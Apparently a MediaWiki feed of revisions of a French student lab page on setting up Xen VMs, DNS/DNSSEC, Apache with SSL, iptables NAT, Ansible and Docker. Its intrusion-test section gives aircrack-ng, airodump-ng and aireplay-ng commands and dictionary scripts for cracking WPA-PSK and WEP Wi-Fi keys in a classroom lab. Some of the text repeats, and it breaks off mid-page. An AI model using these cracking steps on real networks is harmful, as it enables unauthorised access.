Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne:&lt;br /&gt;
Sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On le lance:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51779</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51779"/>
				<updated>2019-12-10T09:24:55Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
